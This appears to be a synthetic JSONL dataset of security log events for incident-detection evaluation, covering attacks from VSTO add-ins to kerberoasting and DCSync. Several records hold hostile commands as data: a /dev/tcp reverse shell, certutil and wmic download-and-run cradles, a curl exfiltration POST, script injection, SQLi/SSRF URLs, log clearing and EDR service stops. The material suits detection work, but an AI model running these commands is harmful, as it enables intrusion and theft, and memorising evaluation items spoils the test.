+{"incident_id": "INC-EVAL-045", "template_id": "office-vsto-addin", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "WIN-EXCHANGE-01", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKCU\\Software\\Microsoft\\Office\\Outlook\\Addins\\Aisoc.Updater", "Details": "LoadBehavior=3;Manifest=file:///C:/Users/[email protected]/AppData/Roaming/aisoc.vsto"}
+{"incident_id": "INC-EVAL-045", "template_id": "office-vsto-addin", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-EXCHANGE-01", "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", "DestinationIp": "185.220.101.7", "DestinationPort": 443}
+{"incident_id": "INC-EVAL-046", "template_id": "github-pat-leak", "event_index": 0, "source": "github_audit", "action": "git.clone", "actor": "[email protected]", "actor_ip": "185.220.101.7", "repo_count": 14, "programmatic_access_type": "personal_access_token", "user_agent": "git/2.40.0"}
+{"incident_id": "INC-EVAL-046", "template_id": "github-pat-leak", "event_index": 1, "source": "github_audit", "action": "push", "actor": "[email protected]", "repo": "[email protected]/dotfiles", "visibility": "public", "file_changed": ".env", "secret_detected": "github_pat_*"}
+{"incident_id": "INC-EVAL-047", "template_id": "ec2-imds-credential-theft", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-app", "status_code": 200, "src_host": "GCP-GKE-NODE-04", "imds_version": "v1"}
+{"incident_id": "INC-EVAL-047", "template_id": "ec2-imds-credential-theft", "event_index": 1, "source": "cloudtrail", "eventName": "AssumeRole", "eventSource": "sts.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "198.51.100.23", "userIdentity": {"type": "AssumedRole", "principalId": "AIDA:role-app", "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"}, "userAgent": "aws-cli/2.13"}
+{"incident_id": "INC-EVAL-048", "template_id": "helpdesk-password-reset-abuse", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Reset user password.", "UserId": "[email protected]", "TargetUserId": "[email protected]", "ClientIP": "10.0.0.50"}
+{"incident_id": "INC-EVAL-048", "template_id": "helpdesk-password-reset-abuse", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "185.220.101.7", "resultType": 0, "seconds_after_reset": 87}
+{"incident_id": "INC-EVAL-049", "template_id": "oauth-refresh-token-theft", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "172.16.50.7", "resultType": 0, "authenticationProtocol": "oAuth2", "grantType": "refresh_token", "resourceDisplayName": "Microsoft Graph"}
+{"incident_id": "INC-EVAL-050", "template_id": "malicious-container-image", "event_index": 0, "source": "k8s_audit", "apiVersion": "audit.k8s.io/v1", "kind": "Event", "verb": "create", "objectRef": {"resource": "pods"}, "user": {"username": "system:serviceaccount:default:deploy"}, "requestObject": {"spec": {"containers": [{"image": "registry.local/repo:malicious-backdoor"}]}}, "node": "AWS-EC2-PROD-API"}
+{"incident_id": "INC-EVAL-050", "template_id": "malicious-container-image", "event_index": 1, "source": "edr", "rule": "Image scan: embedded netcat reverse-shell binary", "severity": "high", "Computer": "AWS-EC2-PROD-API", "image": "registry.local/repo:malicious-backdoor", "cve_layer_count": 2}
+{"incident_id": "INC-EVAL-051", "template_id": "outlook-auto-forward-rule", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Sync", "ForwardTo": "[email protected]", "DeleteMessage": true, "MarkAsRead": true}, "threat_actor": "MagicWeb"}
+{"incident_id": "INC-EVAL-052", "template_id": "linux-journald-tampering", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/journalctl", "a0": "journalctl", "a1": "--rotate", "a2": "--vacuum-time=1s", "hostname": "K8S-PROD-CLUSTER", "user": "[email protected]"}
+{"incident_id": "INC-EVAL-053", "template_id": "compromised-ci-runner", "event_index": 0, "source": "github_audit", "action": "workflow_run.requested", "workflow": "deploy.yml", "actor": "external-contrib", "repository": "aisoc/web", "event": "pull_request", "runner": "AZURE-VM-FIN-001"}
+{"incident_id": "INC-EVAL-053", "template_id": "compromised-ci-runner", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/curl", "a1": "-X", "a2": "POST", "a3": "https://192.168.1.100/exfil", "hostname": "AZURE-VM-FIN-001", "user": "ci-runner", "secret_detected": true}
+{"incident_id": "INC-EVAL-054", "template_id": "vpn-new-geography", "event_index": 0, "source": "vpn", "action": "login_success", "user": "[email protected]", "src_ip": "10.0.99.42", "geo_country": "UA", "first_login_country": true}
+{"incident_id": "INC-EVAL-054", "template_id": "vpn-new-geography", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 5145, "Computer": "LIN-K8S-NODE01", "SubjectUserName": "[email protected]", "ShareName": "\\\\*\\IPC$", "IpAddress": "10.0.99.42", "EventCount": 128}
+{"incident_id": "INC-EVAL-055", "template_id": "service-account-privileged-command", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wevtutil.exe", "CommandLine": "wevtutil cl Security", "LogonType": 5}
+{"incident_id": "INC-EVAL-056", "template_id": "phishing-macro-email", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "Send", "UserId": "[email protected]", "ClientIP": "10.0.99.42", "Subject": "Q4 invoice (action required)", "AttachmentNames": ["invoice_q4.docm"]}
+{"incident_id": "INC-EVAL-056", "template_id": "phishing-macro-email", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-DB-REPLICA", "User": "[email protected]", "Image": "C:\\Windows\\System32\\cmd.exe", "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", "CommandLine": "cmd.exe /c powershell -nop -w hidden -enc <stage2>"}
+{"incident_id": "INC-EVAL-056", "template_id": "phishing-macro-email", "event_index": 2, "source": "edr", "rule": "Office macro spawned cmd.exe", "severity": "high", "Computer": "LIN-DB-REPLICA", "User": "[email protected]", "threat_actor": "Scattered Spider"}
+{"incident_id": "INC-EVAL-057", "template_id": "webapp-sqli-ssrf-exploit", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "https://AWS-EC2-PROD-API/search?q=' OR 1=1--", "status_code": 200, "src_ip": "172.16.50.7", "user_agent": "curl/8.4.0", "rule_match": "WAF:SQLI:1011", "cve": "CVE-2024-1234"}
+{"incident_id": "INC-EVAL-057", "template_id": "webapp-sqli-ssrf-exploit", "event_index": 1, "source": "web_access", "http_method": "GET", "url": "https://AWS-EC2-PROD-API/proxy?u=http://169.254.169.254/latest/meta-data/", "status_code": 200, "src_ip": "172.16.50.7", "user_agent": "curl/8.4.0", "rule_match": "WAF:SSRF:2007"}
+{"incident_id": "INC-EVAL-058", "template_id": "confluence-watering-hole", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "https://confluence.aisoc.dev/pages/editpage.action?pageId=8472", "status_code": 200, "src_ip": "198.51.100.23", "user_agent": "Mozilla/5.0", "payload_excerpt": "<script src=//198.51.100.23/x.js></script>"}
+{"incident_id": "INC-EVAL-058", "template_id": "confluence-watering-hole", "event_index": 1, "source": "edr", "rule": "Browser exploitation: drive-by JavaScript loader", "severity": "high", "Computer": "WIN-HR-DESKTOP", "User": "[email protected]", "threat_actor": "APT29"}
+{"incident_id": "INC-EVAL-059", "template_id": "npm-supply-chain", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/node", "a0": "node", "a1": "/tmp/node_modules/event-stream/postinstall.js", "hostname": "MAC-CFO-LAPTOP", "user": "ci-runner"}
+{"incident_id": "INC-EVAL-059", "template_id": "npm-supply-chain", "event_index": 1, "source": "github_audit", "action": "workflow_run.completed", "workflow": "ci.yml", "actor": "dependabot[bot]", "repository": "aisoc/web", "conclusion": "success", "package_added": "[email protected]"}
+{"incident_id": "INC-EVAL-059", "template_id": "npm-supply-chain", "event_index": 2, "source": "edr", "rule": "npm post-install reverse shell", "severity": "high", "Computer": "MAC-CFO-LAPTOP", "User": "ci-runner", "dest_ip": "198.51.100.23", "dest_port": 4444}
+{"incident_id": "INC-EVAL-060", "template_id": "usb-autorun-airgap", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 6416, "Computer": "MAC-LEGAL-LAPTOP", "SubjectUserName": "[email protected]", "ClassName": "USB", "DeviceDescription": "SanDisk Cruzer 16GB"}
+{"incident_id": "INC-EVAL-060", "template_id": "usb-autorun-airgap", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "MAC-LEGAL-LAPTOP", "User": "[email protected]", "Image": "C:\\Python311\\python.exe", "ParentImage": "C:\\Windows\\System32\\rundll32.exe", "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"}
+{"incident_id": "INC-EVAL-061", "template_id": "oauth-consent-phish", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Consent to application.", "UserId": "[email protected]", "ApplicationId": "00000003-0000-0ff1-ce00-000000000000", "ConsentedScopes": ["Mail.Read", "Files.Read.All", "offline_access"]}
+{"incident_id": "INC-EVAL-061", "template_id": "oauth-consent-phish", "event_index": 1, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Auto-fwd", "ForwardTo": "[email protected]", "DeleteMessage": true}}
+{"incident_id": "INC-EVAL-062", "template_id": "powershell-obfuscated-dropper", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-DC-PRIMARY", "User": "[email protected]", "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "ParentImage": "C:\\Windows\\explorer.exe", "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."}
+{"incident_id": "INC-EVAL-062", "template_id": "powershell-obfuscated-dropper", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4104, "Computer": "WIN-DC-PRIMARY", "User": "[email protected]", "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)", "threat_actor": "LockBit 3.0"}
+{"incident_id": "INC-EVAL-063", "template_id": "certutil-download-cradle", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Windows\\System32\\certutil.exe", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "certutil -urlcache -split -f http://91.134.231.15/p.exe %TEMP%\\p.exe"}
+{"incident_id": "INC-EVAL-063", "template_id": "certutil-download-cradle", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Windows\\System32\\certutil.exe", "DestinationIp": "91.134.231.15", "DestinationPort": 80, "Protocol": "tcp"}
+{"incident_id": "INC-EVAL-064", "template_id": "docker-runtime-abuse", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "http://WIN-FILE-SHARE:2375/containers/create", "status_code": 201, "src_ip": "198.51.100.23", "request_body": {"Image": "monero/xmrig", "HostConfig": {"Privileged": true}}}
+{"incident_id": "INC-EVAL-064", "template_id": "docker-runtime-abuse", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/docker", "a0": "docker", "a1": "run", "a2": "--privileged", "hostname": "WIN-FILE-SHARE", "user": "root"}
+{"incident_id": "INC-EVAL-065", "template_id": "wmi-event-subscription", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 19, "Computer": "LIN-BUILD-CI03", "User": "[email protected]", "EventNamespace": "ROOT\\Subscription", "Name": "UpdaterFilter", "Query": "SELECT * FROM __InstanceModificationEvent WITHIN 60"}
+{"incident_id": "INC-EVAL-065", "template_id": "wmi-event-subscription", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 21, "Computer": "LIN-BUILD-CI03", "Operation": "Created", "Name": "UpdaterConsumer", "Type": "CommandLineEventConsumer", "Destination": "powershell.exe -enc <encoded>"}
+{"incident_id": "INC-EVAL-066", "template_id": "registry-run-persistence", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "LIN-DB-REPLICA", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKU\\S-1-5-21-...\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater", "Details": "C:\\Users\\[email protected]\\AppData\\Roaming\\updater.exe"}
+{"incident_id": "INC-EVAL-066", "template_id": "registry-run-persistence", "event_index": 1, "source": "edr", "rule": "Persistence: Registry Run with revoked-cert signed binary", "severity": "high", "Computer": "LIN-DB-REPLICA", "User": "[email protected]", "threat_actor": "Lazarus"}
+{"incident_id": "INC-EVAL-067", "template_id": "scheduled-task-persistence", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4698, "Computer": "AWS-EC2-PROD-API", "SubjectUserName": "[email protected]", "TaskName": "\\Microsoft\\Windows\\UpdaterTask", "TaskContent": "<Hidden>true</Hidden><Exec>%APPDATA%\\Roaming\\u.ps1</Exec>"}
+{"incident_id": "INC-EVAL-067", "template_id": "scheduled-task-persistence", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "AWS-EC2-PROD-API", "Image": "C:\\Windows\\System32\\schtasks.exe", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR \"powershell -f %APPDATA%\\Roaming\\u.ps1\" /F", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-068", "template_id": "uefi-firmware-implant", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4673, "Computer": "WIN-PROD-WEB02", "ObjectName": "\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi", "ProcessName": "C:\\Windows\\System32\\driver_signing.exe"}
+{"incident_id": "INC-EVAL-068", "template_id": "uefi-firmware-implant", "event_index": 1, "source": "edr", "rule": "UEFI implant: MosaicRegressor signature match", "severity": "critical", "Computer": "WIN-PROD-WEB02", "indicator_path": "ESP:/EFI/Boot/bootx64.efi"}
+{"incident_id": "INC-EVAL-069", "template_id": "cron-backdoor", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "openat", "exe": "/usr/bin/vi", "path": "/etc/cron.d/zz-update", "hostname": "LIN-DB-REPLICA", "user": "[email protected]", "a2": "O_WRONLY|O_CREAT"}
+{"incident_id": "INC-EVAL-069", "template_id": "cron-backdoor", "event_index": 1, "source": "linux_journald", "_SYSTEMD_UNIT": "cron.service", "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/45.142.122.111/4444 0>&1)", "hostname": "LIN-DB-REPLICA"}
+{"incident_id": "INC-EVAL-070", "template_id": "uac-bypass-fodhelper", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "LIN-BUILD-CI03", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command", "Details": "C:\\Windows\\System32\\cmd.exe /c whoami"}
+{"incident_id": "INC-EVAL-070", "template_id": "uac-bypass-fodhelper", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-BUILD-CI03", "Image": "C:\\Windows\\System32\\fodhelper.exe", "ParentImage": "C:\\Windows\\explorer.exe", "IntegrityLevel": "High", "User": "SYSTEM"}
+{"incident_id": "INC-EVAL-071", "template_id": "k8s-privileged-pod-escape", "event_index": 0, "source": "k8s_audit", "apiVersion": "audit.k8s.io/v1", "kind": "Event", "verb": "create", "objectRef": {"resource": "pods"}, "user": {"username": "[email protected]"}, "requestObject": {"spec": {"containers": [{"name": "x", "image": "alpine", "securityContext": {"privileged": true}}], "hostPID": true}}, "stage": "ResponseComplete", "responseStatus": {"code": 201}, "node": "WIN-PROD-WEB02"}
+{"incident_id": "INC-EVAL-071", "template_id": "k8s-privileged-pod-escape", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "openat", "exe": "/bin/sh", "path": "/host/etc/shadow", "hostname": "WIN-PROD-WEB02", "user": "root"}
+{"incident_id": "INC-EVAL-072", "template_id": "linux-suid-abuse", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "chmod", "exe": "/bin/chmod", "a1": "/tmp/.x", "mode": "04755", "hostname": "WIN-DEVOPS-LT", "user": "[email protected]"}
+{"incident_id": "INC-EVAL-072", "template_id": "linux-suid-abuse", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/tmp/.x", "hostname": "WIN-DEVOPS-LT", "uid": 1001, "euid": 0, "user": "[email protected]"}
+{"incident_id": "INC-EVAL-073", "template_id": "process-hollowing-svchost", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 8, "Computer": "LIN-EDGE-VPN02", "SourceImage": "C:\\Windows\\System32\\powershell.exe", "TargetImage": "C:\\Windows\\System32\\svchost.exe", "StartFunction": "LoadLibraryW", "NewThreadId": 4716}
+{"incident_id": "INC-EVAL-073", "template_id": "process-hollowing-svchost", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "LIN-EDGE-VPN02", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "45.142.122.111", "DestinationPort": 443, "Protocol": "tcp", "ja3": "a0e9f5d64349fb13191bc781f81f42e1"}
+{"incident_id": "INC-EVAL-073", "template_id": "process-hollowing-svchost", "event_index": 2, "source": "edr", "rule": "Cobalt Strike beacon (process hollowing)", "severity": "high", "Computer": "LIN-EDGE-VPN02", "threat_actor": "LockBit 3.0"}
+{"incident_id": "INC-EVAL-074", "template_id": "event-log-cleared", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 1102, "Computer": "AZURE-VM-FIN-001", "SubjectUserName": "[email protected]", "Channel": "Security", "Description": "The audit log was cleared."}
+{"incident_id": "INC-EVAL-074", "template_id": "event-log-cleared", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "AZURE-VM-FIN-001", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wevtutil.exe", "CommandLine": "wevtutil cl Security"}
+{"incident_id": "INC-EVAL-075", "template_id": "disable-edr-tooling", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-OBS-LOGGER", "User": "[email protected]", "Image": "C:\\Windows\\System32\\sc.exe", "CommandLine": "sc.exe stop CSAgent"}
+{"incident_id": "INC-EVAL-075", "template_id": "disable-edr-tooling", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-OBS-LOGGER", "User": "[email protected]", "Image": "C:\\Windows\\System32\\sc.exe", "CommandLine": "sc.exe stop WinDefend"}
+{"incident_id": "INC-EVAL-075", "template_id": "disable-edr-tooling", "event_index": 2, "source": "edr", "rule": "EDR tampering attempt", "severity": "critical", "Computer": "LIN-OBS-LOGGER", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-076", "template_id": "lsass-memory-dump", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 10, "Computer": "WIN-DEVOPS-LT", "SourceImage": "C:\\Windows\\System32\\rundll32.exe", "TargetImage": "C:\\Windows\\System32\\lsass.exe", "GrantedAccess": "0x1010", "CallTrace": "comsvcs.dll+5d24|MiniDumpWriteDump", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-076", "template_id": "lsass-memory-dump", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "WIN-DEVOPS-LT", "Image": "C:\\Windows\\System32\\rundll32.exe", "TargetFilename": "C:\\Windows\\Temp\\lsass.dmp", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-077", "template_id": "credential-spray", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "172.16.50.7", "resultType": 50126, "resultDescription": "Invalid username or password", "appDisplayName": "Office 365 Exchange Online", "attempt_count": 1500}
+{"incident_id": "INC-EVAL-077", "template_id": "credential-spray", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "172.16.50.7", "resultType": 0, "resultDescription": "Success", "conditionalAccessStatus": "success", "riskLevelAggregated": "high"}
+{"incident_id": "INC-EVAL-078", "template_id": "kerberoasting", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4769, "Computer": "WIN-DC-PRIMARY", "TargetUserName": "[email protected]", "ServiceName": "MSSQLSvc/sql.aisoc.dev", "TicketEncryptionType": "0x17", "IpAddress": "WIN-FILE-SHARE"}
+{"incident_id": "INC-EVAL-078", "template_id": "kerberoasting", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4769, "Computer": "WIN-DC-PRIMARY", "TargetUserName": "[email protected]", "ServiceName": "HTTP/web01.aisoc.dev", "TicketEncryptionType": "0x17", "IpAddress": "WIN-FILE-SHARE"}
+{"incident_id": "INC-EVAL-079", "template_id": "ad-dcsync", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4662, "Computer": "WIN-DC-PRIMARY", "SubjectUserName": "[email protected]", "ObjectServer": "DS", "ObjectType": "domainDNS", "Properties": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "ClientIP": "AZURE-VM-FIN-001"}
+{"incident_id": "INC-EVAL-080", "template_id": "saml-golden-ticket", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "10.0.99.42", "resultType": 0, "authenticationDetails": [{"authenticationMethod": "Federated", "succeeded": true}], "tokenIssuerType": "ADFederationServices", "tokenIssuerName": "forged-adfs.aisoc.dev"}
+{"incident_id": "INC-EVAL-080", "template_id": "saml-golden-ticket", "event_index": 1, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Add member to role.", "UserId": "[email protected]", "ModifiedProperties": [{"Name": "Role.DisplayName", "NewValue": "Global Administrator"}]}
+{"incident_id": "INC-EVAL-081", "template_id": "ldap-bloodhound-discovery", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "LIN-OBS-LOGGER", "Image": "C:\\Tools\\SharpHound.exe", "DestinationIp": "WIN-DC-PRIMARY", "DestinationPort": 389, "User": "[email protected]"}
+{"incident_id": "INC-EVAL-081", "template_id": "ldap-bloodhound-discovery", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4662, "Computer": "WIN-DC-PRIMARY", "SubjectUserName": "[email protected]", "ObjectType": "user", "AccessMask": "0x100", "EventCount": 8400}
+{"incident_id": "INC-EVAL-082", "template_id": "smb-share-enumeration", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-FIN-DB01", "User": "[email protected]", "Image": "C:\\Windows\\System32\\net.exe", "CommandLine": "net.exe view /domain"}
+{"incident_id": "INC-EVAL-082", "template_id": "smb-share-enumeration", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 5145, "Computer": "WIN-FILE-SHARE", "SubjectUserName": "[email protected]", "ShareName": "\\\\*\\*", "IpAddress": "WIN-FIN-DB01", "EventCount": 256}
+{"incident_id": "INC-EVAL-083", "template_id": "pass-the-hash-lateral", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "WIN-DEVOPS-LT", "TargetUserName": "[email protected]", "LogonType": 3, "AuthenticationPackageName": "NTLM", "IpAddress": "GCP-GKE-NODE-04", "LogonProcessName": "NtLmSsp"}
+{"incident_id": "INC-EVAL-083", "template_id": "pass-the-hash-lateral", "event_index": 1, "source": "edr", "rule": "Pass-the-hash indicators (NTLM hash reuse)", "severity": "high", "Computer": "WIN-DEVOPS-LT", "Source": "GCP-GKE-NODE-04", "User": "[email protected]", "threat_actor": "MosaicRegressor"}
+{"incident_id": "INC-EVAL-084", "template_id": "rdp-lateral-movement", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "LIN-EDGE-VPN02", "TargetUserName": "[email protected]", "LogonType": 10, "IpAddress": "MAC-LEGAL-LAPTOP", "LogonProcessName": "User32", "EventTimeUTC": "03:14:00Z"}
+{"incident_id": "INC-EVAL-085", "template_id": "wmi-lateral-execution", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-FILE-SHARE", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wbem\\wmic.exe", "CommandLine": "wmic /node:MAC-CFO-LAPTOP process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}
+{"incident_id": "INC-EVAL-086", "template_id": "bulk-pii-download", "event_index": 0, "source": "db_audit", "operation": "SELECT", "user": "[email protected]", "src_host": "WIN-EXCHANGE-01", "database": "prod_customers", "table": "customer_records", "rows_returned": 4200000, "bytes": 10700000000}
+{"incident_id": "INC-EVAL-087", "template_id": "clipboard-keylogger", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 24, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "Hashes": "SHA256=abc..."}
+{"incident_id": "INC-EVAL-087", "template_id": "clipboard-keylogger", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-088", "template_id": "dns-tunnel-exfil", "event_index": 0, "source": "dns", "query_name": "aGVsbG8gd29ybGQK.exfil.185.220.101.7.in-addr.arpa", "query_type": "TXT", "src_host": "WIN-DC-SECONDARY", "dst_ip": "185.220.101.7", "response_size": 512, "qps": 240}
+{"incident_id": "INC-EVAL-089", "template_id": "s3-exfil-cloud-storage", "event_index": 0, "source": "cloudtrail", "eventName": "PutObject", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "sourceIPAddress": "WIN-EXCHANGE-01", "requestParameters": {"bucketName": "atk-stage-192.168.1.100", "key": "dump/customers.tar.gz"}, "resources": [{"ARN": "arn:aws:s3:::atk-stage-192.168.1.100/dump/customers.tar.gz"}]}
+{"incident_id": "INC-EVAL-090", "template_id": "personal-drive-exfil", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "https://www.googleapis.com/upload/drive/v3/files", "status_code": 200, "src_host": "GCP-GKE-NODE-04", "src_user": "[email protected]", "bytes_out": 4300000000, "file_count": 812}
+{"incident_id": "INC-EVAL-091", "template_id": "dga-c2", "event_index": 0, "source": "dns", "query_name": "qkz3pl4vnxq2.com", "query_type": "A", "src_host": "GCP-GKE-NODE-04", "rcode": "NXDOMAIN", "qps_above_baseline": 50.0}
